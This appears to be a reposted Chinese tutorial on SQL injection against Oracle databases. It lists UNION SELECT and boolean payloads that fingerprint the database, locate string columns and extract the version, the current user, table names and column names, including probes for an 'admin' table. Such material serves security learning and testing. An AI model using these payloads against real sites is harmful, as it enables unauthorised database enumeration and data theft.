Sql注入之oracle
Posted she11s
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sql注入之oracle相关的知识,希望对你有一定的参考价值。
Sql注入之oracle
介绍
oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,
它具有如下特点:
- 支持多用户,大事务量处理
- 数据安全性和完整性的有效控制
- 支持分布式数据处理
- 移植性强
常用jsp+oracle
数据库判断
and exists(select * from dual)
或
and exists(select * from user_tables)
联合注入
假设列数为5
union select null,null,null,null,null from dual
注意一定要写null否则会报错
判断非数字列:
- 修改第一个null为数字
union select 1,null,null,null,null from dual
- 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
union select null,1,null,null,null from dual
- 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
- 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
- 常用攻击语句
1.获取数据库版本
select banner from sys.v_$version where rownum =1
2.获取操作系统版本
select member from v$logfile where rownum = 1
3.获取连接数据库的当前用户
select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
4.获取数据库
select owner from all_tables where rownum = 1
5.获取表名
select table_name from user_tables where rownum = 1
6.获取列名
select column_name from user_tab_columns where table_name='admin' and rownum = 1 #admin替换成你需要的表名
其他注入
- 获取表
and (select count(*) from admin)<>0
返回正常则存在admin表,错误则不存在
- 获取列名
and (select count(name) from admin)>=0
返回正常则存在name列,错误则不存在
以上是关于Sql注入之oracle的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段